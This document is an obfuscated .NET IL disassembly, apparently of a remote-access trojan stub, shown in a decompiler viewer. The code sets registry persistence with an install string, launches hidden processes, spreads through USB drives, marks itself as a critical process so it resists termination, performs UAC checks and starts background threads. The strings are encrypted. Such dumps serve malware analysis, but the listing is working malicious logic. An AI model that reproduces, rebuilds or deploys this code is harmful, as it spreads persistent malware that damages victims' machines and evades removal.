ldc.i4 641
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 156
ldc.i4 144
call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32)
brtrue.s IL_02EB: ldc.i4.3
ldc.i4.8 <null>
stloc.s V_29
br IL_0262: ldloc.s V_29
ldc.i4.3 <null>
br.s IL_02E4: stloc.s V_29
ldloc.s V_5
ldc.i4 413
ldc.i4 388
call System.String Stub.Messages/ႭႰ::ႥႤ<System.Object>(System.Object,System.Int32,System.Int16)
ldc.i4 266
ldc.i4 293
call System.IO.DirectoryInfo Stub.USB::ႨႷ<System.String>(System.String,System.Int16,System.Int32)
pop <null>
ldc.i4.3 <null>
stloc.s V_29
br IL_0262: ldloc.s V_29
ldloc.0 <null>
castclass System.String
ldc.i4 180
ldc.i4 189
call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32)
brfalse.s IL_0337: ldc.i4.7
ldc.i4.s 9
stloc.s V_29
br IL_0262: ldloc.s V_29
ldc.i4.7 <null>
br.s IL_0330: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
castclass System.IO.FileInfo
ldc.i4 131
ldc.i4 166
call System.Void My.MyComputer::ႷႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char)
ldc.i4 1000
ldc.i4.s 84
ldc.i4.s 80
call System.Void Stub.Messages/ႭႰ::Ⴍ(System.Int32,System.Int16,System.Int16)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴓ.Ⴈ::Ⴃ
ldc.i4 397
ldc.i4 452
call System.Byte[] Stub.Main::ႰႷ<System.String>(System.String,System.Int16,System.Char)
ldc.i4 401
ldc.i4 407
call System.Void Stub.ProcessCritical::ႣႨ<System.String>(System.String,System.Byte[],System.Int16,System.Int16)
leave.s IL_03B3: ldc.i4.0
dup <null>
ldc.i4.s 83
ldc.i4.s 16
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_7
ldc.i4 981
ldc.i4 948
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_03B3: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.s 23
ldc.i8 4
ldc.i4 1711529791
ldc.i4.0 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 642
ldc.i4 727
call System.Void My.MyComputer::ႤႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int16)
ldc.i4.3 <null>
stloc.s V_31
br.s IL_03B6: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 626
ldc.i4 639
call System.Boolean Stub.Main::ႰႭ<System.String>(System.String,System.Int32,System.Int32)
brfalse.s IL_0438: ldc.i4.7
ldc.i4.8 <null>
stloc.s V_31
br IL_03B6: ldloc.s V_31
ldc.i4.7 <null>
br.s IL_0431: stloc.s V_31
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.s 13
ldc.i8 15
ldc.i4 1711529778
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4.s 24
ldc.i4.s 53
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.s 18
ldc.i8 1
ldc.i4 1711529796
ldc.i4.4 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.s 12
ldc.i8 13
ldc.i4 1711526805
ldc.i4.5 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4 252
ldc.i4 239
call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char)
ldc.i4 156
ldc.i4 186
call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32)
ldc.i4.2 <null>
stloc.s V_31
br IL_03B6: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.s 24
ldc.i8 2
ldc.i4 1711529840
ldc.i4.6 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 254
ldc.i4 211
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.s 14
ldc.i8 13
ldc.i4 1711529799
ldc.i4.7 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.s 13
ldc.i8 14
ldc.i4 1711526806
ldc.i4.6 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4 981
ldc.i4 966
call System.String My.MyApplication::ႥႨ(System.String[],System.Int32,System.Char)
ldc.i4 570
ldc.i4 540
call System.Void My.MyComputer::ႤႠ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Int16,System.Int32)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4 154
ldc.i4 136
call System.Diagnostics.Process Stub.Messages/ႭႰ::ႥႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int32,System.Int16)
stloc.s V_8
ldloc.s V_8
isinst System.Diagnostics.Process
ldc.i4 1009
ldc.i4 965
call System.Void My.MyComputer::ႷႥ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Char,System.Int16)
leave.s IL_060A: ldc.i4.1
dup <null>
ldc.i4 230
ldc.i4 165
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_10
ldc.i4 970
ldc.i4 939
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_060A: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴀ()
ldc.i4 886
ldc.i4 895
call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႤႥ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Char)
ldc.i4 684
ldc.i4 763
call Microsoft.Win32.RegistryKey Stub.Messages/ႭႰ::ႥႥ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32)
ldc.i4.2 <null>
ldc.i8 15
ldc.i4 1711526488
ldc.i4.7 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
ldc.i4 544
ldc.i4 565
call Microsoft.Win32.RegistryKey My.MyComputer::ႤႰ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Char)
ldsfld System.String Settings::InstallStr
ldc.i4 612
ldc.i4 585
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
ldloc.0 <null>
isinst System.String
ldc.i4 145
ldc.i4 146
call System.Void My.MyApplication::Ⴄ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Char)
leave.s IL_06B1: ldc.i4.6
dup <null>
ldc.i4.s 68
ldc.i4.7 <null>
call System.Void Stub.Messages/ႭႰ::Ⴈ<System.Exception>(System.Exception,System.Int16,System.Char)
stloc.s V_11
ldc.i4.s 38
ldc.i4.s 71
call System.Void Stub.Messages::Ⴄ(System.Int32,System.Char)
leave.s IL_06B1: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 984
ldc.i4 996
call System.String My.MyComputer::ႤႼ(System.Environment/SpecialFolder,System.Int16,System.Char)
ldc.i4.6 <null>
ldc.i8 12
ldc.i4 1711526533
ldc.i4.0 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4.s 81
ldc.i4.s 124
call System.String Stub.Messages::Ⴃ<System.String>(System.String,System.Int32,System.Int32)
ldc.i4.s 17
ldc.i8 6
ldc.i4 1711527338
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4 772
ldc.i4 852
call System.String My.MyApplication::ႥႰ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int16,System.Char)
stloc.s V_12
ldloc.s V_36
ldc.i4.6 <null>
ldelem.u2 <null>
ldc.i4 61173
sub <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldc.i4.s 24
ldc.i8 8
ldc.i4 1711529105
ldc.i4.3 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.s 9
ldc.i8 14
ldc.i4 1711527904
ldc.i4.4 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4.7 <null>
ldc.i8 2
ldc.i4 1711527331
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
isinst System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
castclass System.String
stelem.ref <null>
ldloc.s V_15
castclass System.Object[]
stloc.s V_16
ldloc.s V_16
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
isinst System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
isinst System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_0808: stloc.s V_18
ldloc.s V_16
isinst System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4.s 16
ldc.i8 8
ldc.i4 1711527363
ldc.i4.1 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
castclass System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.2 <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.s 9
ldc.i8 8
ldc.i4 1711527402
ldc.i4.1 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.4 <null>
ldc.i8 3
ldc.i4 1711527910
ldc.i4.2 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.8 <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.s 11
ldc.i8 2
ldc.i4 1711526606
ldc.i4.1 <null>
call System.String Stub.ProcessCritical::Ⴍ(System.Byte,System.Int64,System.Int32,System.Int32)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.3 <null>
stloc.s V_35
br IL_06B4: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
isinst System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴓ.Ⴈ::Ⴃ
leave.s IL_0900: ldc.i4.6
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0900: ldc.i4.6
ldc.i4.6 <null>
stloc.s V_38
ldloc.s V_38
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.USB::USBStart()
call System.Void Ⴓ.Ⴈ::Ⴐ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_095B: ldc.i4.5
ldc.i4.7 <null>
stloc.s V_38
br.s IL_0903: ldloc.s V_38
ldc.i4.5 <null>
br.s IL_0957: stloc.s V_38
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.4 <null>
stloc.s V_38
br IL_0903: ldloc.s V_38
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
An error has occurred. This application may no longer respond until reloaded. Reload 🗙